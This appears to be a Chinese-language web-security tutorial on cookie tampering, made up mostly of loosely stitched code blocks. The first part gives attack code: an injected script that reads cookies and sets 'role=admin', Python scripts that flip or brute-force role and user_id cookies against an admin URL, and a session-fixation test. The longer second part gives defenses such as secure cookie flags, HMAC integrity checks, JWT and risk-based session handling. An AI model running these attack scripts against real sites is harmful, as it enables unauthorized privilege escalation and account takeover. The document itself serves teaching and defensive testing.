003_Web安全攻防实战：Cookie篡改基础技术详解与权限提升攻击指南

Set-Cookie: sessionid=abc123xyz789; Path=/; Domain=example.com; Expires=Wed, 21 Oct 2025 07:28:00 GMT; HttpOnly; Secure; SameSite=Lax

Set-Cookie: session=xyz123; HttpOnly

Set-Cookie: session=xyz123; Secure

Set-Cookie: session=xyz123; SameSite=Lax

Set-Cookie: session=xyz123; Path=/admin; Domain=example.com

Set-Cookie: session=xyz123; Max-Age=3600

user_id=1001; role=user; session=abc123

user_id=1001; role=admin; session=abc123

// 注入的恶意代码示例
<script>
// 读取当前Cookie
alert(document.cookie);
// 修改权限相关的Cookie
document.cookie = "role=admin; path=/; domain=example.com";
// 刷新页面应用新的权限
document.location.reload();
</script>

// 获取指定名称的Cookie值
function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
    return null;
}

// 设置Cookie
function setCookie(name, value, days = 7, path = '/', domain = '') {
    let expires = '';
    if (days) {
        const date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        expires = `; expires=${date.toUTCString()}`;
    }
    domain = domain ? `; domain=${domain}` : '';
    document.cookie = `${name}=${value || ''}${expires}${path ? `; path=${path}` : ''}${domain}`;
}

// 修改权限Cookie的测试函数
function testPrivilegeEscalation() {
    console.log("当前权限:", getCookie("role"));
    setCookie("role", "admin");
    console.log("修改后权限:", getCookie("role"));
    alert("权限Cookie已修改，请刷新页面测试");
}

### 2.4 Python脚本自动化修改Cookie

对于大规模测试和自动化攻击，Python脚本是非常有效的工具。我们可以使用requests库来发送HTTP请求并修改Cookie。

**基本示例**

```python
import requests

# 创建会话对象
session = requests.Session()

# 初始Cookie值
cookies = {
    'user_id': '123',
    'role': 'user'
}

# 发送带有自定义Cookie的请求
response = session.get('http://example.com/protected_area', cookies=cookies)
print("原始响应状态码:", response.status_code)

# 修改Cookie尝试权限提升
cookies['role'] = 'admin'

# 发送修改后的请求
response_elevated = session.get('http://example.com/protected_area', cookies=cookies)
print("修改后响应状态码:", response_elevated.status_code)

# 检查是否成功提升权限
if response_elevated.status_code == 200 and 'Admin Panel' in response_elevated.text:
    print("权限提升成功!")
else:
    print("权限提升失败")

import requests
from itertools import product

def test_cookie_manipulation(target_url, cookie_combinations):
    results = []
    
    for cookies in cookie_combinations:
        # 发送请求
        response = requests.get(target_url, cookies=cookies)
        
        # 分析响应
        success = False
        if response.status_code == 200:
            # 检查是否成功访问受保护内容
            if 'Admin' in response.text or 'Dashboard' in response.text:
                success = True
        
        # 记录结果
        result = {
            'cookies': cookies,
            'status_code': response.status_code,
            'success': success
        }
        results.append(result)
        
        # 输出测试结果
        print(f"测试Cookie: {cookies}")
        print(f"状态码: {response.status_code}")
        print(f"成功: {success}")
        print("---")
    
    return results

# 示例使用
if __name__ == "__main__":
    # 目标URL
    target_url = "http://example.com/admin"
    
    # 准备不同的Cookie组合
    user_ids = ['1', '2', '3', '999']  # 尝试不同用户ID
    roles = ['user', 'admin', 'superuser', 'manager']  # 尝试不同角色
    
    # 生成所有可能的组合
    cookie_combinations = [
        {'user_id': uid, 'role': role}
        for uid, role in product(user_ids, roles)
    ]
    
    # 运行测试
    results = test_cookie_manipulation(target_url, cookie_combinations)
    
    # 输出成功的结果
    successful_attempts = [r for r in results if r['success']]
    if successful_attempts:
        print(f"找到 {len(successful_attempts)} 个成功的Cookie组合:")
        for attempt in successful_attempts:
            print(f"  - {attempt['cookies']}")
    else:
        print("没有找到成功的Cookie组合")

import requests
import re

def test_session_fixation(target_url, login_url):
    # 步骤1: 未登录状态获取初始session ID
    unauth_session = requests.Session()
    unauth_response = unauth_session.get(target_url)
    initial_cookies = unauth_session.cookies.get_dict()
    print("初始Cookie:", initial_cookies)
    
    # 提取session ID (假设它在Cookie中以'session'或'PHPSESSID'命名)
    session_key = None
    session_value = None
    for key, value in initial_cookies.items():
        if 'session' in key.lower() or 'sessid' in key.lower():
            session_key = key
            session_value = value
            break
    
    if not session_key:
        print("未能找到session ID")
        return False
    
    print(f"找到Session ID: {session_key}={session_value}")
    
    # 步骤2: 使用相同的session ID登录
    auth_session = requests.Session()
    auth_session.cookies.set(session_key, session_value)
    
    # 登录请求数据
    login_data = {
        'username': 'test_user',  # 替换为实际测试账号
        'password': 'test_password'  # 替换为实际测试密码
    }
    
    # 发送登录请求
    login_response = auth_session.post(login_url, data=login_data)
    print(f"登录响应状态码: {login_response.status_code}")
    
    # 步骤3: 验证登录是否成功
    post_login_response = auth_session.get(target_url)
    
    # 检查是否成功登录的条件（根据实际网站调整）
    if "Welcome" in post_login_response.text or "Dashboard" in post_login_response.text:
        print("登录成功")
        
        # 步骤4: 创建一个新会话，使用相同的session ID
        attacker_session = requests.Session()
        attacker_session.cookies.set(session_key, session_value)
        
        # 步骤5: 尝试访问受保护资源
        protected_response = attacker_session.get(target_url)
        
        # 检查是否存在会话固定漏洞
        if "Welcome" in protected_response.text or "Dashboard" in protected_response.text:
            print("[漏洞发现] 会话固定漏洞存在! 攻击者可以使用初始session ID访问用户账户")
            return True
        else:
            print("[安全] 会话固定防护有效，登录后session ID已更改")
            return False
    else:
        print("登录失败，请检查用户名和密码")
        return False

# 示例使用
if __name__ == "__main__":
    target_url = "http://example.com/protected"
    login_url = "http://example.com/login"
    test_session_fixation(target_url, login_url)

Cookie cookie = new Cookie("session_id", value);
cookie.setHttpOnly(true);
response.addCookie(cookie);

Cookie cookie = new Cookie("session_id", value);
cookie.setSecure(true);
response.addCookie(cookie);

Cookie cookie = new Cookie("session_id", value);
cookie.setAttribute("SameSite", "Strict");
response.addCookie(cookie);

# Python示例：使用secrets模块生成安全的会话ID
import secrets
import hashlib
import time

def generate_secure_session_id():
    # 使用加密安全的随机数生成器
    random_bytes = secrets.token_bytes(32)
    # 结合时间戳增加唯一性
    timestamp = str(int(time.time())).encode()
    # 使用SHA-256哈希确保固定长度
    return hashlib.sha256(random_bytes + timestamp).hexdigest()

# 生成安全的会话ID
session_id = generate_secure_session_id()
print(f"安全生成的会话ID: {session_id}")

// PHP示例：会话验证与异常检测
function validate_session($user_id, $session_id) {
    // 从数据库获取该用户的当前会话信息
    $db_session = get_session_from_db($user_id);
    
    // 检查会话ID是否匹配
    if ($db_session['session_id'] !== $session_id) {
        return false; // 会话ID不匹配
    }
    
    // 检查会话是否过期
    if (time() > $db_session['expires_at']) {
        return false; // 会话已过期
    }
    
    // 检查是否有异常登录位置
    $current_ip = $_SERVER['REMOTE_ADDR'];
    if ($db_session['ip_address'] !== $current_ip && !is_trusted_location($current_ip)) {
        // 记录异常登录尝试
        log_suspicious_activity($user_id, $current_ip);
        // 可以选择终止会话或要求额外验证
    }
    
    // 更新最后活动时间
    update_last_activity($user_id, time());
    
    return true;
}

### 3.3 高级Cookie安全防护措施

除了基本的安全标志外，还可以采用以下高级防护措施来进一步增强Cookie的安全性：

#### 双因素认证与会话绑定

将用户的会话与额外的认证因素绑定，例如：

- 设备指纹信息
- IP地址范围
- 浏览器特征

**实现示例**

```javascript
// Node.js/Express示例：会话与设备指纹绑定
const fingerprint = require('express-fingerprint');
const session = require('express-session');

app.use(fingerprint());
app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true }));

app.post('/login', (req, res) => {
    // 验证用户名密码
    if (validateCredentials(req.body.username, req.body.password)) {
        // 获取用户信息
        const user = getUserByUsername(req.body.username);
        
        // 将设备指纹与会话绑定
        req.session.user_id = user.id;
        req.session.fingerprint = req.fingerprint.hash;
        
        // 设置安全Cookie
        res.cookie('auth_token', generateToken(user.id, req.fingerprint.hash), {
            httpOnly: true,
            secure: true,
            sameSite: 'strict',
            maxAge: 3600000 // 1小时
        });
        
        res.redirect('/dashboard');
    } else {
        res.status(401).send('Invalid credentials');
    }
});

// 中间件：验证会话绑定
function validateSession(req, res, next) {
    if (req.session && req.session.user_id && req.session.fingerprint) {
        // 验证设备指纹是否匹配
        if (req.session.fingerprint === req.fingerprint.hash) {
            next(); // 通过验证
        } else {
            // 设备指纹不匹配，可能是会话劫持
            req.session.destroy();
            res.clearCookie('auth_token');
            res.status(403).send('Session validation failed');
        }
    } else {
        res.status(401).send('Not authenticated');
    }
}

# Python示例：会话数据加密
from cryptography.fernet import Fernet
import base64

# 生成密钥（实际应用中应安全存储）
key = Fernet.generate_key()
cipher = Fernet(key)

def encrypt_session_data(session_data):
    """加密会话数据"""
    # 将字典转换为字符串
    import json
    data_str = json.dumps(session_data)
    # 加密
    encrypted_data = cipher.encrypt(data_str.encode())
    # 转换为可安全传输的格式
    return base64.urlsafe_b64encode(encrypted_data).decode()

def decrypt_session_data(encrypted_data_str):
    """解密会话数据"""
    try:
        # 解码Base64
        encrypted_data = base64.urlsafe_b64decode(encrypted_data_str)
        # 解密
        decrypted_data = cipher.decrypt(encrypted_data)
        # 转换为字典
        import json
        return json.loads(decrypted_data.decode())
    except Exception as e:
        print(f"解密失败: {e}")
        return None

# 使用示例
user_data = {"user_id": 123, "role": "admin", "permissions": ["read", "write"]}
encrypted_session = encrypt_session_data(user_data)
print(f"加密后的会话数据: {encrypted_session}")

# 模拟从Cookie中获取并解密
decrypted_session = decrypt_session_data(encrypted_session)
print(f"解密后的会话数据: {decrypted_session}")

// Java示例：Cookie完整性校验
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;

public class CookieIntegrity {
    private static final String SECRET_KEY = "your-secret-key-here"; // 实际应用中应安全存储
    private static final String HMAC_ALGORITHM = "HmacSHA256";
    
    // 为Cookie数据生成HMAC签名
    public static String generateHmac(String cookieData) throws NoSuchAlgorithmException, InvalidKeyException {
        SecretKeySpec keySpec = new SecretKeySpec(SECRET_KEY.getBytes(), HMAC_ALGORITHM);
        Mac mac = Mac.getInstance(HMAC_ALGORITHM);
        mac.init(keySpec);
        byte[] hmacBytes = mac.doFinal(cookieData.getBytes());
        return Base64.getUrlEncoder().encodeToString(hmacBytes);
    }
    
    // 验证Cookie数据的完整性
    public static boolean verifyIntegrity(String cookieData, String hmac) throws NoSuchAlgorithmException, InvalidKeyException {
        String computedHmac = generateHmac(cookieData);
        return computedHmac.equals(hmac);
    }
    
    // 创建带完整性校验的Cookie值
    public static String createSecureCookieValue(String userData) throws NoSuchAlgorithmException, InvalidKeyException {
        String hmac = generateHmac(userData);
        return userData + "." + hmac;
    }
    
    // 验证并提取Cookie数据
    public static String verifyAndExtractCookieData(String cookieValue) throws NoSuchAlgorithmException, InvalidKeyException {
        int lastDotIndex = cookieValue.lastIndexOf('.');
        if (lastDotIndex == -1) {
            return null; // 格式不正确
        }
        
        String dataPart = cookieValue.substring(0, lastDotIndex);
        String hmacPart = cookieValue.substring(lastDotIndex + 1);
        
        if (verifyIntegrity(dataPart, hmacPart)) {
            return dataPart;
        } else {
            return null; // 完整性验证失败
        }
    }
}

// Express.js中使用JWT替代Cookie存储用户信息
const jwt = require('jsonwebtoken');

// 登录验证后生成令牌
app.post('/login', (req, res) => {
    // 验证凭据
    if (authenticateUser(req.body.username, req.body.password)) {
        // 生成JWT令牌，有效期15分钟
        const token = jwt.sign(
            { userId: user.id, role: user.role },
            process.env.JWT_SECRET,
            { expiresIn: '15m' }
        );
        
        // 可选：设置刷新令牌到HttpOnly Cookie
        const refreshToken = jwt.sign(
            { userId: user.id },
            process.env.JWT_REFRESH_SECRET,
            { expiresIn: '7d' }
        );
        
        res.cookie('refreshToken', refreshToken, {
            httpOnly: true,
            secure: true,
            sameSite: 'strict',
            path: '/api/refresh-token'
        });
        
        // 将访问令牌作为响应返回，而不是存储在Cookie中
        res.json({ token });
    }
});

// 令牌验证中间件
function authenticateToken(req, res, next) {
    // 从Authorization头获取令牌
    const authHeader = req.headers['authorization'];
    const token = authHeader && authHeader.split(' ')[1];
    
    if (!token) return res.status(401).json({ message: '未提供令牌' });
    
    jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
        if (err) return res.status(403).json({ message: '无效令牌' });
        req.user = user;
        next();
    });
}

# Python/Flask示例：风险自适应会话管理
from flask import Flask, request, session
import machine_learning_model  # 假设有一个机器学习模型用于风险评估
import geoip2.database
import time

app = Flask(__name__)
app.secret_key = 'your-secret-key'

# 加载GeoIP数据库
reader = geoip2.database.Reader('GeoLite2-City.mmdb')

@app.before_request
def before_request():
    # 跳过静态资源和登录页面
    if request.path.startswith('/static/') or request.path == '/login':
        return
    
    # 检查用户是否已登录
    if 'user_id' in session and 'last_activity' in session:
        # 检查会话是否过期
        if time.time() - session['last_activity'] > 3600:  # 1小时过期
            session.clear()
            return redirect('/login')
        
        # 更新最后活动时间
        session['last_activity'] = time.time()
        
        # 收集用户行为数据进行风险评估
        user_behavior = {
            'user_id': session['user_id'],
            'timestamp': time.time(),
            'user_agent': request.headers.get('User-Agent'),
            'request_path': request.path,
            'request_method': request.method,
            'ip_address': request.remote_addr
        }
        
        # 尝试获取地理位置信息
        try:
            response = reader.city(request.remote_addr)
            user_behavior['location'] = f"{response.country.name}, {response.city.name}"
        except:
            user_behavior['location'] = 'Unknown'
        
        # 评估风险级别
        risk_score = machine_learning_model.evaluate_risk(user_behavior)
        
        # 根据风险级别采取措施
        if risk_score > 0.7:  # 高风险
            # 记录可疑活动
            log_suspicious_activity(user_behavior)
            # 要求额外验证
            if 'additional_verified' not in session:
                session['redirect_after_verification'] = request.path
                return redirect('/verify-additional')
        elif risk_score > 0.4:  # 中等风险
            # 增加监控频率
            increase_monitoring_frequency(session['user_id'])

<!-- Cookie同意管理组件示例 -->
<div id="cookie-consent" class="cookie-banner">
    <div class="cookie-content">
        <p>本网站使用Cookie来改善您的体验。继续浏览即表示您同意我们的<a href="/cookie-policy">Cookie政策</a>。</p>
        <div class="cookie-buttons">
            <button id="accept-all">接受所有</button>
            <button id="reject-all">拒绝所有</button>
            <button id="customize">自定义</button>
        </div>
    </div>
    <div id="cookie-preferences" class="cookie-preferences hidden">
        <h3>选择Cookie偏好</h3>
        <div class="cookie-category">
            <label><input type="checkbox" id="essential-cookies" checked disabled> 必要Cookie</label>
            <p>这些Cookie对网站运行是必要的，无法在我们的系统中关闭。</p>
        </div>
        <div class="cookie-category">
            <label><input type="checkbox" id="analytics-cookies"> 分析Cookie</label>
            <p>这些Cookie允许我们统计访问量和流量来源，以便衡量和改进网站性能。</p>
        </div>
        <div class="cookie-category">
            <label><input type="checkbox" id="marketing-cookies"> 营销Cookie</label>
            <p>这些Cookie可能由我们网站上运行的广告合作伙伴设置。它们可能被这些公司用来构建您的兴趣档案并向您展示相关广告。</p>
        </div>
        <button id="save-preferences">保存偏好</button>
    </div>
</div>

<script>
// Cookie同意管理脚本
(function() {
    // 检查是否已经保存了Cookie偏好
    if (localStorage.getItem('cookie-preferences')) {
        document.getElementById('cookie-consent').style.display = 'none';
        applyCookiePreferences();
        return;
    }
    
    // 事件监听器
    document.getElementById('accept-all').addEventListener('click', function() {
        saveCookiePreferences({ essential: true, analytics: true, marketing: true });
        document.getElementById('cookie-consent').style.display = 'none';
        applyCookiePreferences();
    });
    
    document.getElementById('reject-all').addEventListener('click', function() {
        saveCookiePreferences({ essential: true, analytics: false, marketing: false });
        document.getElementById('cookie-consent').style.display = 'none';
        applyCookiePreferences();
    });
    
    document.getElementById('customize').addEventListener('click', function() {
        document.querySelector('.cookie-content').style.display = 'none';
        document.getElementById('cookie-preferences').classList.remove('hidden');
    });
    
    document.getElementById('save-preferences').addEventListener('click', function() {
        const preferences = {
            essential: true,
            analytics: document.getElementById('analytics-cookies').checked,
            marketing: document.getElementById('marketing-cookies').checked
        };
        saveCookiePreferences(preferences);
        document.getElementById('cookie-consent').style.display = 'none';
        applyCookiePreferences();
    });
    
    // 保存Cookie偏好
    function saveCookiePreferences(preferences) {
        localStorage.setItem('cookie-preferences', JSON.stringify(preferences));
    }
    
    // 应用Cookie偏好
    function applyCookiePreferences() {
        const preferences = JSON.parse(localStorage.getItem('cookie-preferences'));
        
        // 设置Cookie同意标志
        document.cookie = "cookie_consent=true; path=/; max-age=31536000; secure; samesite=strict";
        
        // 根据用户偏好加载不同的脚本
        if (preferences.analytics) {
            loadAnalyticsScript();
        }
        
        if (preferences.marketing) {
            loadMarketingScript();
        }
    }
    
    // 加载分析脚本
    function loadAnalyticsScript() {
        const script = document.createElement('script');
        script.src = '/scripts/analytics.js';
        document.head.appendChild(script);
    }
    
    // 加载营销脚本
    function loadMarketingScript() {
        const script = document.createElement('script');
        script.src = '/scripts/marketing.js';
        document.head.appendChild(script);
    }
})();
</script>